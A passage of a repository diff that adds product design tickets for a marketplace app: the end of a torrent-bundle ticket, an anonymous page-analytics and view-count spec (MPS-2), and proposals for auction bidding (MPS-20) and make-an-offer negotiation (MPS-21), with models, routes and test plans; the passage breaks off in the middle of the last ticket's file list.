| `make_post_sell/models/shop.py` | Add `torrent_trackers` (Text, nullable) |
| `make_post_sell/lib/torrent.py` | Persist run rows; shop-aware CDN; paid/free bundle branching with explicit tests |
| `make_post_sell/views/shop.py` | `backfill-torrent` form section handler; torrent health endpoint |
| `make_post_sell/views/product.py` | Trigger torrent generation on opt-in flip + visibility=public |
| `make_post_sell/views/watch.py` | Surface `torrent_magnet_link` + `torrent_file_url` in watch JSON |
| `make_post_sell/routes.py` | Add `/s/{shop_id}/torrent-health` |
| `make_post_sell/templates/shop_settings.j2` | Torrent health card + tracker config + backfill button |
| `make_post_sell/templates/product.j2` | Magnet button (server-rendered) |
| `make_post_sell/templates/content.j2` | Magnet button (server-rendered) |
| `make_post_sell/templates/snippets/related_content.j2` | Small magnet icon |
| `make_post_sell/static/js/watch.js` | `updatePageContent` swaps magnet href on SPA nav |
| `make_post_sell/scripts/alembic/versions/XXXX_torrent_runs_and_trackers.py` | Migration |
| `make_post_sell/tests/test_models.py` | `MpsTorrentRun` + visibility/opt-in matrix |
| `make_post_sell/tests/test_integration.py` | End-to-end bundle generation; paid vs free; BYOB |
| `make_post_sell/tests/test_functional.py` | Magnet button render rules; backfill POST; health endpoint auth |
## Tests
### Unit (`test_models.py`)
- `Product.show_magnet_button` matrix — 8 combinations (visibility × sellable × opt_in)
- `Product.torrent_bundle_paths` returns preview path for paid, source for free
- `MpsTorrentRun` status helpers
- `Shop.effective_trackers` — falls back to `DEFAULT_TRACKERS` when column NULL
### Integration (`test_integration.py`)
- Free content opt-in: bundle includes source + thumbs + description.md
- Paid product opt-in: bundle includes **preview** + thumbs + description.md, **never** source
- Web seed URL inside `.torrent` matches shop's CDN endpoint (BYOB-aware)
- Magnet link round-trip: `torf` parses our generated magnet and returns same info hash
- Backfill skips products with populated `torrent_magnet_link` + fresh mtime
- Failed run leaves status=failed + populated error_message; does not corrupt product columns
### Functional (`test_functional.py`)
- Toggling `torrent_opt_in` on a public product fires generation (run row created)
- Toggling on private/unlisted product does **not** fire
- Magnet button renders on public product, not on private/unlisted
- Backfill button POST creates run rows for eligible products only
- Anon `GET /s/{shop_id}/torrent-health` → 403; owner → 200 JSON
- Watch JSON includes `torrent_magnet_link` + `torrent_file_url` when populated
## Verification
1. `source vars.sh && make test` — all pass
2. Local dev: enable `torrent_enabled` on shop, opt-in a public free product,
confirm `bundle.torrent` lands in bucket and magnet link populates
3. Open magnet link in a real BitTorrent client, watch it pull bundle from
web seeds (no peers needed for first download)
4. Repeat for paid product — confirm bundle has preview file, **not** source
5. Force a failure (revoke S3 creds mid-run) — run row reflects failure
6. Push → CI green → deploy → bump GIT_HASH

294
docs/tickets/mps-2.md Normal file
View file

@ -0,0 +1,294 @@
# MPS-2: Anonymous Signal Gathering & View Count
## Philosophy
Collect every honest signal we can about how people experience content —
without recording who they are. No cookies, no IPs, no fingerprints, no user
agent strings. A viewer's identity is never captured. Only the aggregate truth
of what happened on the page.
The raw signals feed four derived scores: **Engagement**, **Attention**,
**Learning**, and **Passive Consumption**. These scores are computed from simple
math now and can be refined with machine learning later — the raw data is the
same either way.
A **view** counts after 7 seconds of wall-clock time on the page with the tab
visible. This respects all four pillars: truthful (they were really here), free
(no judgment on how they consume), harmonious (same bar for a 30-second clip
and a 2-hour film), and loving (assumes good intent from the visitor).
## What We Collect
All signals are gathered in JavaScript memory during a page session and sent as
a single JSON summary via `navigator.sendBeacon()` on page unload. One beacon
per page visit. Nothing streams, nothing phones home mid-session.
### Presence Signals
| Signal | How | Why |
|--------|-----|-----|
| `wall_clock_ms` | `Date.now()` delta from page load to unload | Total time on page |
| `visible_ms` | Page Visibility API (`visibilitychange`) — accumulate time while `visible` | Tab in foreground vs backgrounded |
| `active_ms` | Accumulate time while mouse/touch/keyboard events fire (debounce 2s idle gap) | Human is present and interacting |
| `idle_ms` | `wall_clock_ms - active_ms` | Derived, not tracked separately |
**Mouse/touch activity**: Listen for `mousemove`, `touchstart`, `keydown` —
debounced to a boolean "active" flag that goes idle after 2 seconds of silence.
We track **whether** the user is active, never **where** on the page. No
coordinates, no element targets.
### Scroll Signals
| Signal | How | Why |
|--------|-----|-----|
| `scroll_depth_max` | `window.scrollY / document.body.scrollHeight` — track max (0.0-1.0) | How far down the page they went |
| `scroll_direction_changes` | Count sign changes in scroll delta | Reading (few reversals) vs scanning (many) |
### Media Playback Signals
Piggyback on existing `timeupdate`, `play`, `pause`, `ended`, `seeked`,
`ratechange` events already wired in watch.js.
| Signal | How | Why |
|--------|-----|-----|
| `media_duration_ms` | `media.duration * 1000` on `loadedmetadata` | Length of the content |
| `media_play_ms` | Accumulate time between `play` and `pause`/`ended` events | Actual playback time |
| `media_play_count` | Count `play` events | Replays = love |
| `media_pause_count` | Count `pause` events (user-initiated, not ended) | Interaction with content |
| `media_seek_count` | Count `seeked` events | Skipping around (study or skip?) |
| `media_seek_back_count` | Count seeks where `currentTime` decreased | Rewinding = learning |
| `media_speed` | Last value from `ratechange` event, default 1.0 | 2x = efficient, 0.5x = studying |
| `media_completed` | Boolean: did `ended` event fire at least once | Watched/listened to the end |
| `media_percent_played` | `media_play_ms / media_duration_ms` (can exceed 1.0 on replay) | Completion without judging speed |
### Context Signals (server-side, from the HTTP request)
| Signal | How | Why |
|--------|-----|-----|
| `is_ring_entry` | Boolean: full page load vs SPA transition | Front door vs ring navigation |
| `ring_position` | Integer: how many SPA transitions from entry | Depth in the ring |
| `referrer_class` | Enum: `direct`, `search`, `social`, `internal`, `unknown` | Where traffic comes from — derived from Referer header domain, NOT the full URL |
| `referrer_domain` | String (128 chars) | Referer hostname (e.g. "www.google.com") — added in MPS-6 |
| `referrer_query` | String (256 chars) | Search engine query parameter — added in MPS-6 |
| `device_class` | Enum: `mobile`, `tablet`, `desktop` | Screen size bucket only, not user agent — derived from viewport width sent in beacon |
`referrer_class` is computed server-side by matching the Referer header domain
against known patterns (google/bing/ddg → search, twitter/facebook/reddit →
social, same domain → internal, everything else → unknown). The raw Referer URL
is never stored.
`device_class` is derived from viewport width sent in the beacon payload:
≤768 → mobile, ≤1024 → tablet, else desktop. No user agent parsing.
## Storage
### Per-session table: `mps_page_session`
One row per page visit. This is the raw truth.
```
id UUID PK
shop_id FK → mps_shop
product_id FK → mps_product
created_timestamp BigInteger (ms) — when beacon was received
-- presence
wall_clock_ms Integer
visible_ms Integer
active_ms Integer
-- scroll
scroll_depth_max Float (0.0-1.0)
scroll_direction_changes Integer
-- media
media_duration_ms Integer (NULL if no media)
media_play_ms Integer (NULL if no media)
media_play_count SmallInteger
media_pause_count SmallInteger
media_seek_count SmallInteger
media_seek_back_count SmallInteger
media_speed Float
media_completed Boolean
media_percent_played Float
-- context
is_ring_entry Boolean
ring_position SmallInteger
referrer_class SmallInteger (enum: 0=direct 1=search 2=social 3=internal 4=unknown)
referrer_domain Unicode(128) — extracted domain (e.g. "www.google.com")
referrer_query Unicode(256) — search engine query (e.g. "lo-fi beats")
device_class SmallInteger (enum: 0=mobile 1=tablet 2=desktop)
```
No foreign key to any user/account table. No IP column. No session cookie
column. The row is an anonymous fact about what happened, nothing more.
### Aggregate columns on `mps_product`
Updated asynchronously (on beacon receipt or periodic batch):
- `view_count` (BigInteger, server_default="0") — incremented when a session
hits the 7-second visible threshold
### Retention
Keep individual `mps_page_session` rows for 90 days. After that, aggregate
into `mps_product_daily_stats` (one row per product per day with averages and
sums) and delete the raw sessions. The daily rollup lives forever.
## Derived Scores
Computed from raw signals, either on-read (in Python properties) or in the
daily rollup. These are the creator-facing metrics.
### Engagement (0.0 – 1.0)
```
engagement = active_ms / wall_clock_ms
```
High = clicking, scrolling, pausing, seeking — actively interacting with the
content. Low = tab open but idle. This is the "lean-in" metric.
### Attention (0.0 – 1.0)
```
attention = visible_ms / wall_clock_ms
```
High = tab in foreground the entire time. Low = they switched tabs. Combined
with engagement: high attention + low engagement = focused passive watching.
High attention + high engagement = deeply studying.
### Learning Signal (heuristic score)
Indicators of active study, not passive consumption:
- `media_seek_back_count > 0` — they rewound to re-hear something
- `media_speed < 1.0` — slowed down to absorb
- `scroll_direction_changes > 3` — re-reading sections
- `media_pause_count > 2` — pausing to think or take notes
- `engagement > 0.7` — high interaction throughout
Score: count of true indicators (0-5). A session with 3+ is "learning mode."
### Passive Consumption (heuristic score)
Indicators of lean-back enjoyment:
- `attention > 0.7` — tab is in foreground
- `engagement < 0.3` — but not interacting much
- `media_percent_played > 0.69` — played most/all of the content
- `media_play_count == 1` — straight through, no replays
- `media_pause_count == 0` — never paused
Score: count of true indicators (0-5). A session with 3+ is "passive
consumption" — and this is a GOOD signal. It means the content is worth
playing through without interruption.
### Machine Learning Hook
The raw `mps_page_session` rows are feature vectors. Every field is a number.
When ML is added later, it can:
- Cluster sessions into behavioral profiles beyond the 4 heuristic scores
- Detect anomalies (bot patterns: zero scroll + zero active + high play count)
- Predict which products will retain based on early session patterns
- Surface "hidden gems" — products with high learning/attention scores but
low view counts
The collection schema doesn't change. ML consumes the same rows and produces
richer derived scores that feed into dashboards. The raw truth stays raw.
## View Count Display
Show the human-readable view count on product and content pages, next to the
upload date under the title h1:
```
Track Title
uploaded to ShopName
Created 3 days ago · 420 views
```
### Formatting
- 0: don't show view count at all (no "0 views")
- 1: "1 view"
- 2-999: exact number ("420 views")
- 1,000-999,999: "1.2K views"
- 1,000,000+: "1.8M views"
### Three-layer update (SPA compatibility)
1. **Templates** (`content.j2`, `product.j2`): render in `.product-meta-dates`
2. **watch.py** (`watch_json`): include `view_count` and `human_view_count`
3. **watch.js** (`updatePageContent`): update the view count span during SPA nav
## JavaScript Collector (`signals.js`)
New file. Lightweight, no dependencies. Loaded on all product/content pages.
```
Page load:
→ Record start time
→ Attach debounced mousemove/touchstart/keydown → active flag
→ Attach visibilitychange → accumulate visible_ms
→ Attach scroll → track depth + direction changes
→ Attach media events (play/pause/ended/seeked/ratechange)
→ Generate random session token (in-memory only, never persisted)
Page unload (beforeunload / visibilitychange → hidden):
→ Bundle all signals into JSON
→ POST via navigator.sendBeacon('/signals/beacon')
→ Fallback: fetch() with keepalive: true
```
The beacon payload is ~300 bytes of JSON. One request per page visit. No
polling, no websockets, no streaming.
## Server Endpoint
`POST /signals/beacon` — accepts JSON, validates fields, computes
`referrer_class` from the Referer header, inserts one `mps_page_session` row.
If `visible_ms >= 7000`, also increments `product.view_count`. Returns 204.
Rate limiting: max 1 beacon per product per client per 60 seconds, enforced
by a short-lived server-side cache keyed on `(session_token, product_id)`.
The session token is random per page load — it prevents double-counting
from accidental double-fires, not tracking users across pages.
## Files Changed
| File | Change |
|------|--------|
| `models/page_session.py` | New model: `MpsPageSession` |
| `models/product.py` | Add `view_count` column, `human_view_count` property |
| `models/__init__.py` | Import new model |
| `views/signals.py` | New: beacon endpoint |
| `views/watch.py` | Include `view_count` / `human_view_count` in JSON |
| `views/product.py` | Pass view count to template context |
| `views/content.py` | Pass view count to template context |
| `static/js/signals.js` | New: client-side signal collector |
| `templates/content.j2` | Show view count in `.product-meta-dates` |
| `templates/product.j2` | Show view count in `.product-meta-dates` |
| `templates/snippets/base_styles.j2` | Load signals.js on product pages |
| `static/js/watch.js` | Update view count in `updatePageContent()` |
| `scripts/alembic/versions/` | Migration: `mps_page_session` table + `view_count` column |
| `tests/test_functional.py` | Beacon endpoint tests, view count display tests |
| `tests/test_models.py` | `human_view_count` formatting tests |
## What This Does NOT Collect
- IP addresses
- User agent strings (device class is viewport width only)
- Cookies or persistent identifiers
- Mouse/touch coordinates
- Clicked element identifiers
- Any form input content
- Referrer URLs (only domain + search query parameter — see MPS-6)
- Cross-page session linking (each page visit is an island)
A viewer could visit every product in a shop and there would be no way to
connect those visits to the same person. That is by design.

300
docs/tickets/mps-20.md Normal file
View file

@ -0,0 +1,300 @@
# MPS-20: Auction House Mode (eBay-style Bidding)
## Status
**PROPOSED — does not exist.** Today every product has a fixed `price` column.
No code path supports rising-price bidding, reserve prices, soft-close
extensions, or proxy bidding.
## Why This Belongs in MPS
MPS already owns:
- Product lifecycle (visibility, ownership, downloads)
- Shop settings + form-section pattern
- Cart + checkout pipeline (Stripe / PayPal / crypto / gift cards)
- Comments + watch mode + SPA navigation
- Email notifications
An auction is a product whose price function is `max(bids)` instead of a
constant. We extend, not rebuild. Same checkout. Same payouts. Same fees.
## Modes
A shop owner toggles per product:
| `pricing_mode` | Behavior |
|----------------|----------|
| 0 (fixed) | Today's behavior — buy now at `price` |
| 1 (auction) | Rising bids until end timestamp; winner pays high bid |
| 2 (auction + buy_now) | Both paths live; buy-now ends the auction immediately |
| 3 (offer) | See MPS-21 — make-an-offer mode |
This ticket covers modes 1 and 2. MPS-21 covers mode 3.
## State Machine
```
┌──────────┐
│ draft │ owner editing, not visible
└────┬─────┘
│ schedule
▼
┌──────────┐
│scheduled │ visible, countdown to start
└────┬─────┘
│ start_timestamp passes
▼
┌──────────┐ bid placed
│ active │ ◄──────────┐
└────┬─────┘ │
│ │
end_timestamp │ ┌────────────┴────────┐
passes │ │ soft-close: bid in │
no buy_now │ │ last N seconds │
▼ │ extends end by N │
┌──────────┴┐
│ ended │ winner determined; payment window opens
└────┬──────┘
│ winner pays via cart
▼
┌──────────┐
│ settled │ funds captured, product transferred
└──────────┘
Side branches:
active --buy_now-→ ended (winner = buy_now buyer; bid refunds n/a)
ended --no-pay-→ relisted or default-to-second-bidder (configurable)
any --cancel-→ cancelled (owner action; pre-active only without admin override)
```
## Models
### `MpsAuction`
| Column | Type | Purpose |
|--------|------|---------|
| `id` | UUID | row id |
| `product_id` | UUID FK unique | one auction per product |
| `shop_id` | UUID FK | shop |
| `state` | int | 0=draft 1=scheduled 2=active 3=ended 4=settled 5=cancelled |
| `start_timestamp` | int (ms) | when bidding opens |
| `end_timestamp` | int (ms) | when bidding closes (extended by soft-close) |
| `original_end_timestamp` | int (ms) | scheduled close; never updated |
| `start_price_in_cents` | int | minimum opening bid |
| `reserve_price_in_cents` | int nullable | hidden floor; below = no winner |
| `buy_now_price_in_cents` | int nullable | mode 2 only |
| `bid_increment_in_cents` | int | min step between bids; default 5% of current high |
| `soft_close_seconds` | int | default 60; bid in last N → extend end by N |
| `winner_user_id` | UUID FK nullable | populated when state=ended |
| `winning_bid_id` | UUID FK nullable | populated when state=ended |
| `payment_deadline_timestamp` | int (ms) nullable | winner-pay-by; default end + 48h |
| `currency` | str(3) | inherits shop default |
### `MpsBid`
| Column | Type | Purpose |
|--------|------|---------|
| `id` | UUID | row id |
| `auction_id` | UUID FK | auction |
| `bidder_user_id` | UUID FK | bidder |
| `amount_in_cents` | int | actual bid amount (proxy bidding fills up) |
| `max_proxy_in_cents` | int | bidder's secret max; proxy auto-bids up to this |
| `created_timestamp` | int (ms) | bid placement |
| `outbid_timestamp` | int (ms) nullable | when this bid was passed |
| `is_winning` | bool | true for current high bid only |
### `MpsAuctionWatcher`
| Column | Type | Purpose |
|--------|------|---------|
| `id` | UUID | row id |
| `auction_id` | UUID FK | auction |
| `user_id` | UUID FK | watcher |
| `created_timestamp` | int (ms) | when added |
| `notify_on_outbid` | bool | default True |
| `notify_on_ending_soon` | bool | default True (1h, 5min) |
## Views / Routes
```
GET /a/{auction_id} auction page (live)
GET /a/{auction_id}.json auction state poll (1s for active, 10s for scheduled)
POST /a/{auction_id}/bid place bid (form_section=bid)
POST /a/{auction_id}/buy-now buy-now (mode 2)
POST /a/{auction_id}/watch toggle watcher
POST /a/{auction_id}/cancel owner cancel (pre-active only)
GET /s/{shop_id}/auctions owner's auction dashboard
POST /s/{shop_id}/products/{id}/auction create or update auction (form_section=auction)
GET /u/{user_id}/auctions user's bids + watches
```
State transitions (`scheduled → active → ended`) run via a periodic job —
add a tick to the existing background task system (or a new
`scripts/auction_tick.py` cron). On settled-by-payment, the cart's normal
post-payment hooks already do product transfer; no new path.
## Soft-Close Algorithm
```python
def place_bid(auction, bidder, amount, max_proxy):
now = now_ms()
if auction.state != STATE_ACTIVE:
raise BidRejected("auction not active")
if amount < (auction.current_high + auction.bid_increment_in_cents):
raise BidRejected("bid too low")
bid = MpsBid(auction_id=auction.id, bidder_user_id=bidder.id,
amount_in_cents=amount, max_proxy_in_cents=max_proxy)
DBSession.add(bid)
_resolve_proxy(auction, bid) # auto-bid against existing max_proxy bids
if (auction.end_timestamp - now) < (auction.soft_close_seconds * 1000):
auction.end_timestamp = now + (auction.soft_close_seconds * 1000)
notify_outbid(auction) # email + watcher inbox
```
Pure-function `_resolve_proxy` — unit-testable in isolation, no DB hit
beyond bid insert. Tarjan-style: handle the bid + proxy chain in a single
pass (no O(N²) loop over all bids).
## Cart Integration
When `state=ended` and `winner_user_id` matches the request user, the
auction product appears in cart at `winning_bid.amount_in_cents`. Existing
checkout (`views/cart.py`) handles payment + transfer. After cart success
hook, set `auction.state=4` (settled).
If `payment_deadline_timestamp` passes without payment, run a settle-task:
- Default: relist to second-highest bidder at their bid price (configurable
`auction_default_to_second_bidder` shop setting)
- Alternative: cancel + return to seller (auctioneer chooses)
## Form Section
Add `auction` to `form_section` routing in `views/product.py`:
| field | purpose |
|-------|---------|
| `pricing_mode` | 0/1/2/3 |
| `auction_start_timestamp` | datetime-local input → ms |
| `auction_end_timestamp` | datetime-local input → ms |
| `start_price` | dollars → cents |
| `reserve_price` | dollars → cents (nullable) |
| `buy_now_price` | dollars → cents (mode 2 only) |
| `bid_increment` | dollars → cents |
| `soft_close_seconds` | int |
## Notifications
Email + on-site:
- Bid received (to seller)
- Outbid (to previous high bidder)
- Auction ending in 1h / 5min (to watchers + bidders)
- Won — pay by `{deadline}` (to winner)
- Lost (to underbidders)
- Payment received / settled (to seller + winner)
## Anti-Abuse
- Rate limit `POST /a/{id}/bid` — 1 bid per bidder per second
- Min bidder account age (configurable per shop, default 0 = open)
- Min cart history (configurable, default 0)
- Block self-bid (bidder_user_id == seller_user_id) at form layer
- Reserve-not-met UX: show "reserve not met" indicator without leaking
reserve price
## Go-to-Market
| Surface | Action |
|---------|--------|
| `docs/auction-house.md` | New: state machine + dot diagram + APIs |
| `docs/architecture.md` | Add auction tables + pricing_mode to feature matrix |
| `/styleguide` | Bid form, countdown clock, reserve indicator, watcher toggle, soft-close pulse |
| `~/git/www.makepostsell.com/index.html` | Feature card: "Run auctions. Reserve prices, soft-close, proxy bids. Same payments, same fees." |
| `~/git/www.makepostsell.com/pricing.html` | Auction mode listed in plan includes |
| Marketing copy | Position: commission-free auctions vs. eBay's 13.25% final value fee |
## Files
| File | Change |
|------|--------|
| `make_post_sell/models/auction.py` | New: `MpsAuction`, `MpsBid`, `MpsAuctionWatcher` |
| `make_post_sell/models/__init__.py` | Imports |
| `make_post_sell/models/meta.py` | Register all three tables |
| `make_post_sell/models/product.py` | Add `pricing_mode` (Integer, default=0), `auction` relationship |
| `make_post_sell/models/cart.py` | Auction-product cart line item handling |
| `make_post_sell/views/auction.py` | New: all auction route handlers |
| `make_post_sell/views/product.py` | `form_section=auction` handler |
| `make_post_sell/views/cart.py` | Recognize auction-won line item; price = winning bid |
| `make_post_sell/views/shop.py` | `auctions_dashboard` view |
| `make_post_sell/lib/auction.py` | Pure-function bid resolution + proxy + soft-close logic |
| `make_post_sell/lib/auction_tick.py` | Scheduled state transitions + ending-soon notifications |
| `make_post_sell/lib/email_notifications.py` | Auction email templates |
| `make_post_sell/routes.py` | All auction routes |
| `make_post_sell/templates/auction.j2` | Live auction page |
| `make_post_sell/templates/auctions_dashboard.j2` | Owner dashboard |
| `make_post_sell/templates/product_edit.j2` | Auction config form section |
| `make_post_sell/templates/styleguide.j2` | Component examples |
| `make_post_sell/static/js/auction.js` | Live countdown, bid form, soft-close pulse, JSON poll |
| `make_post_sell/static/css/common.css` | Auction component styles (tokens-only) |
| `make_post_sell/scripts/alembic/versions/XXXX_auction_tables.py` | Migration with `_table_exists` + `_column_exists` guards |
| `make_post_sell/scripts/auction_tick.py` | CLI entry point for cron |
| `make_post_sell/tests/test_models.py` | Unit tests |
| `make_post_sell/tests/test_integration.py` | Integration tests |
| `make_post_sell/tests/test_functional.py` | Functional tests |
## Tests
### Unit (`test_models.py`)
- `MpsAuction` state helpers (`is_active`, `is_ended`, `time_remaining_ms`)
- `MpsAuction.current_high` returns max bid amount
- `MpsAuction.reserve_met` boolean
- `MpsBid.is_winning` flag flips correctly
- `lib/auction._resolve_proxy` — proxy bidding outcomes:
- solo proxy bid: bid recorded at start_price + increment
- two competing proxies: high proxy wins at low_proxy + increment
- chained proxies: terminate cleanly, no infinite loop
- Soft-close: bid > N sec from end → no extension; bid < N sec → end pushed
- `Product.is_auction` / `Product.is_buy_now_only` based on `pricing_mode`
### Integration (`test_integration.py`)
- Place bid below increment → rejected; above → accepted; outbid email sent
- Buy-now in mode 2 ends auction, sets winner, refunds bid hold (n/a — no holds)
- Auction ends without bids meeting reserve → no winner; `state=ended`,
`winner_user_id IS NULL`
- Winner pays via cart → `state=settled`; product transfer fires
- Winner does not pay by deadline → second bidder gets the option
(configurable per shop)
- Watcher receives ending-soon email at 1h and 5min before end
- BYOB: auction cover/preview images use shop bucket
- `auction_tick` job: scheduled → active when `start_timestamp` passes;
active → ended when `end_timestamp` passes
### Functional (`test_functional.py`)
- `GET /a/{id}` renders for anon, signed-in non-bidder, owner, current high bidder
- `POST /a/{id}/bid` — anon → redirect to login; signed in → 200
- `POST /a/{id}/bid` rate limit: 2 bids in 1s → second 429
- `POST /a/{id}/bid` self-bid → 403 with flash message
- `POST /a/{id}/buy-now` — mode 1 → 404; mode 2 → 200, auction ends
- `POST /a/{id}/watch` toggle inserts/removes `MpsAuctionWatcher` row
- `POST /a/{id}/cancel` — pre-active by owner → 200; active by owner → 403
- Owner dashboard `/s/{shop_id}/auctions` lists all states with counts
- Watch mode SPA: navigating between auction products updates auction-specific
elements (current high, time left, bid form `auction_id`)
- `auction.json` endpoint returns full state shape for poll
## Verification
1. `source vars.sh && make test` — all pass
2. Local dev: create draft auction, schedule, watch state → active, place bids
from two browser sessions, observe soft-close extension, end auction,
pay as winner, verify settled state + product transferred
3. Test reserve-not-met path
4. Test second-bidder fallback
5. Email log shows all 6 notification types fire
6. Push → CI green → deploy → bump GIT_HASH
7. Update marketing portal index.html + pricing.html

318
docs/tickets/mps-21.md Normal file
View file

@ -0,0 +1,318 @@
# MPS-21: Make-an-Offer Mode
## Status
**PROPOSED — does not exist.** Today every product has a fixed `price`. No
path lets a buyer propose a different price, no path lets a seller counter,
no path lets either party walk away.
## Why This Belongs in MPS
Make-an-offer is the everyday cousin of MPS-20's auction mode. Instead of
many bidders pushing a price up over a fixed window, two parties (one
buyer, one seller) negotiate to a number both accept. Same checkout
pipeline. Same payouts. Same fee math. Different state machine.
Use cases:
- Digital art / commissioned work where price is conversation
- Used / one-of-a-kind physical goods (think Facebook Marketplace, OfferUp)
- B2B catalog items where listed price is starting point
- Soft-launch pricing — let buyers tell you what they'd pay
## Mode
Reuses `pricing_mode` column from MPS-20:
| `pricing_mode` | Behavior |
|----------------|----------|
| 0 (fixed) | Today |
| 1 (auction) | MPS-20 |
| 2 (auction + buy_now) | MPS-20 |
| 3 (offer) | This ticket — buyer proposes, seller counters/accepts/declines |
| 4 (offer + buy_now) | Both — listed price = instant; offer = negotiate |
Modes 3 and 4 add `make_offer_enabled=True` semantics on the product.
## State Machine
```
┌──────────┐
buyer │ open │ product listed, accepting offers
submits ───► └────┬─────┘
│
▼
┌──────────┐
│ pending │ offer waiting on seller
└────┬─────┘
┌─────────────┼──────────────┬─────────────┐
│ │ │ │
▼ ▼ ▼ ▼
┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ accepted │ │countered │ │ declined │ │ expired │
└────┬─────┘ └────┬─────┘ └──────────┘ └──────────┘
│ │
│ │ buyer responds: accept / counter / decline / withdraw
│ ▼
│ ┌──────────┐
│ │ pending │ ◄── back to seller (capped at offer_max_rounds)
│ └──────────┘
▼
┌──────────┐
│ paid │ buyer paid via cart at agreed price
└──────────┘
Auto-accept lane (skips pending if offer >= auto_accept_threshold):
open → accepted
Auto-decline lane (skips pending if offer < auto_decline_threshold):
open → declined
```
## Models
### `MpsOffer`
| Column | Type | Purpose |
|--------|------|---------|
| `id` | UUID | row id |
| `product_id` | UUID FK | product |
| `shop_id` | UUID FK | shop |
| `buyer_user_id` | UUID FK | buyer |
| `state` | int | 0=pending 1=accepted 2=countered 3=declined 4=expired 5=withdrawn 6=paid |
| `current_amount_in_cents` | int | latest amount on the table |
| `current_party` | int | 0=buyer's turn 1=seller's turn |
| `created_timestamp` | int (ms) | initial offer time |
| `last_action_timestamp` | int (ms) | last counter/accept/etc |
| `expires_timestamp` | int (ms) | offer auto-expires (default created + 7 days) |
| `paid_timestamp` | int (ms) nullable | populated on cart success |
| `round_count` | int | counter rounds used; cap at shop's `offer_max_rounds` |
| `buyer_message` | UnicodeText nullable | optional buyer note (initial offer) |
| `seller_message` | UnicodeText nullable | optional seller counter note |
### `MpsOfferEvent` (audit log)
| Column | Type | Purpose |
|--------|------|---------|
| `id` | UUID | row id |
| `offer_id` | UUID FK | offer |
| `actor_user_id` | UUID FK | who acted |
| `event_type` | int | 0=open 1=counter 2=accept 3=decline 4=withdraw 5=expire 6=pay |
| `amount_in_cents` | int nullable | amount at this step |
| `message` | UnicodeText nullable | actor's message |
| `created_timestamp` | int (ms) | event time |
## Shop Settings (Form Section: `offer-settings`)
| Field | Default | Purpose |
|-------|---------|---------|
| `offer_enabled` | False | shop master toggle |
| `offer_min_in_cents` | NULL | reject offers below this (per shop floor) |
| `offer_auto_accept_threshold_pct` | 95 | offer ≥ N% of list → auto-accept |
| `offer_auto_decline_threshold_pct` | 50 | offer < N% of list → auto-decline |
| `offer_expiration_hours` | 168 (7d) | how long an offer stays open |
| `offer_max_rounds` | 3 | counter cap before forcing accept/decline |
| `offer_min_buyer_account_age_hours` | 0 | anti-spam (default open) |
Per-product override: `Product.allow_offers` (Boolean). NULL = inherit shop;
True/False = override.
## Views / Routes
```
POST /p/{product_id}/offer buyer submits new offer
GET /o/{offer_id} offer detail (both parties + admin)
POST /o/{offer_id}/counter seller or buyer counters
POST /o/{offer_id}/accept accepts current amount → cart
POST /o/{offer_id}/decline declines, no further action
POST /o/{offer_id}/withdraw buyer pulls offer (pre-acceptance only)
GET /s/{shop_id}/offers seller dashboard
GET /u/{user_id}/offers buyer dashboard
```
When state flips to `accepted`, cart auto-creates a line item at
`current_amount_in_cents`. Buyer hits checkout. Existing payment paths
fire. Cart success hook sets `state=paid` + writes `MpsOfferEvent`.
## Cart Integration
Accepted offer becomes a line item (`mps_cart_offer` association proxy,
mirroring `CartCoupon` and `CartGiftCard`). Cart total is the **agreed
amount**, not the listed price. The line item carries:
- `offer_id` for traceability
- `amount_in_cents` = `current_amount_in_cents` at time of accept
- Standard product transfer on payment
If buyer abandons cart, offer stays `accepted` until `expires_timestamp`
passes (configurable seller setting: re-open or terminal).
## Counter Algorithm
Pure function, fully unit-testable:
```python
def counter_offer(offer, actor, new_amount, message, now_ms):
_validate_actor_turn(offer, actor)
_validate_round_cap(offer)
_validate_floor(offer, new_amount)
offer.current_amount_in_cents = new_amount
offer.current_party = OTHER_PARTY[offer.current_party]
offer.last_action_timestamp = now_ms
offer.round_count += 1
offer.state = STATE_COUNTERED if actor != offer.buyer else STATE_PENDING
DBSession.add(MpsOfferEvent(...))
return offer
```
Round cap forces resolution — no infinite haggling.
## Anti-Abuse
- Min buyer account age (configurable)
- Rate limit: 5 new offers per buyer per shop per day
- Block self-offer (buyer == seller)
- Block offers below `offer_min_in_cents` (silent reject if seller wants
to keep floor secret — return generic flash message)
- Auto-decline threshold filters lowball spam without seller seeing it
## Notifications
Email + on-site:
- New offer received (to seller)
- Offer countered by seller (to buyer)
- Offer countered by buyer (to seller)
- Offer accepted (to other party)
- Offer declined (to other party)
- Offer expiring in 24h (to active party)
- Offer expired (to both)
- Offer paid → standard cart purchase confirmation
## UI Surface
- Product page: "Make an Offer" button (when `allow_offers` resolves True)
next to "Add to Cart"; opens form modal
- Form: amount input, optional message, expires-at indicator
- Auto-accept preview: "Offers ≥ $X are accepted instantly" (only shows the
threshold when shop opts to disclose; default hidden)
- Seller dashboard: offers grouped by state (pending / countered-out / accepted-unpaid / paid / declined / expired)
- Buyer dashboard: same shape, buyer-side terminology
- Offer detail page: full event timeline (renders `MpsOfferEvent` rows)
## Watch Mode SPA
Per CLAUDE.md, all product-specific UI must round-trip through
`updatePageContent` + `watch.py` JSON. Make-offer button + state badge
must update on SPA navigation.
## Go-to-Market
| Surface | Action |
|---------|--------|
| `docs/make-offer.md` | New: state machine + dot diagram + API |
| `docs/architecture.md` | Add offer tables + pricing_mode mode 3/4 to feature matrix |
| `/styleguide` | Offer form, offer state badges, event timeline component |
| `~/git/www.makepostsell.com/index.html` | Feature card: "Make an offer. Negotiate without leaving the listing. Auto-accept good offers. Auto-decline lowballs. Standard checkout." |
| `~/git/www.makepostsell.com/pricing.html` | Make-offer mode listed in plan includes |
| Marketing copy | Position: commission-free negotiation vs. eBay/OfferUp listing fees |
## Files
| File | Change |
|------|--------|
| `make_post_sell/models/offer.py` | New: `MpsOffer`, `MpsOfferEvent` |
| `make_post_sell/models/__init__.py` | Imports |
| `make_post_sell/models/meta.py` | Register both tables |
| `make_post_sell/models/shop.py` | Add 7 offer-* columns |
| `make_post_sell/models/product.py` | Add `allow_offers` (Boolean nullable). If MPS-20 lands first, `pricing_mode` already exists |
| `make_post_sell/models/cart.py` | `CartOffer` association proxy |
| `make_post_sell/views/offer.py` | New: all offer route handlers |
| `make_post_sell/views/shop.py` | `form_section=offer-settings` handler; `offers_dashboard` view |
| `make_post_sell/views/cart.py` | Recognize offer-accepted line item |
| `make_post_sell/views/product.py` | `allow_offers` per-product toggle |
